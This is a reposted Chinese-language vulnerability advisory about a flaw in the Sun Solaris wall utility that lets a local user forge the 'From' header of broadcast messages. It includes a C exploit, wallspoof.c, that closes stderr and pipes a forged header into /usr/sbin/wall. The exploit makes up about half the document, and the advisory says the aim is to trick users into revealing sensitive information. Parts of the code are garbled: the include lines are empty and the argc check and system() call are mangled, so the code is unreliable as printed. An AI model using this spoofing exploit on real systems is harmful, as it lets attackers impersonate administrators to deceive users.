首頁  >  文章  >  資料庫  >  Sun Solaris Wall 信息来源可伪造缺陷

Sun Solaris Wall 信息来源可伪造缺陷

WBOY
WBOY原創
2016-06-07 15:05:51953瀏覽

涉及程序: Sun Solaris Wall 描述: Sun Solaris Wall 信息 来源 可 伪造 缺陷 详细: 在Solaris中,wall程序用于将一些 信息 广播到登陆到系统上的每一个用户。 守护进程RPC(rpc.walld)用来监听并接收远程主机的wall请求,当接收到wall请求时将调用 wall

涉及程序:
Sun Solaris Wall
 
描述:
Sun Solaris Wall 信息来源伪造缺陷
 
详细:

在Solaris中,wall程序用于将一些信息广播到登陆到系统上的每一个用户。

守护进程RPC(rpc.walld)用来监听并接收远程主机的wall请求,当接收到wall请求时将调用 wall 程序, 由wall将收到的讯息发送给分时系统(time-sharing system)上所有的终端机。wall区别于本地和远程用户请求消息是通过检查stderr文件描述符是否指向对应的tty。如果不是,wall程序将检查消息前5个字节是否为"From";如果是,下一个非空白字符必须为user@host形式。

恶意用户可在执行程序/usr/sbin/wall前通过简单关闭stderr,并发送一个伪造的"From"报头来伪造rpc.walld信息,使用户接收到此消息时,误以为是管理员发过来的信息

攻击者可利用此缺陷通过发送伪造信息愚弄目标网络中普通用户,使他们信以为真而进行一些可能泄露敏感信息的行为。

受影响系统:
Sun Solaris Wall
  - Sun Solaris 2.x 至 9.0
 
 
攻击方法:

/*
wallspoof.c - SOLARIS (X86/SPARC) Exploit
Don't use this in a malicious way! (i.e. to own people)
*/
#include
#include
#include

int main(int argc, char **argv)
{
char *userhost;
char mesg[2050];
FILE *tmp;
if (argc  ?fprintf (stderr, "usage: wallspoof user@host\n");
 ?exit (-1);
}
userhost = argv[1];
if ((tmp = fopen("/tmp/rxax", "w")) == NULL) {
 ?perror ("open");
 ?exit (-1);
}
printf ("Enter your message below. End your message with an EOF (Control+D).\n");
fprintf (tmp, "From %s:", userhost);
while (fgets(mesg, 2050, stdin) != NULL)
 ?fprintf (tmp, "%s", mesg);
fclose (tmp);
fclose (stderr);
printf ("\n");
system ("/usr/sbin/wall unlink ("/tmp/rxax");
}
 
 
解决方案:
目前厂商还没有提供补丁或升级程序,建议用户随时关注厂商站点:

http://sunsolve.sun.com/pub-cgi/show.pl?target=patches/patch-access
 
 
附加信息

 

陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn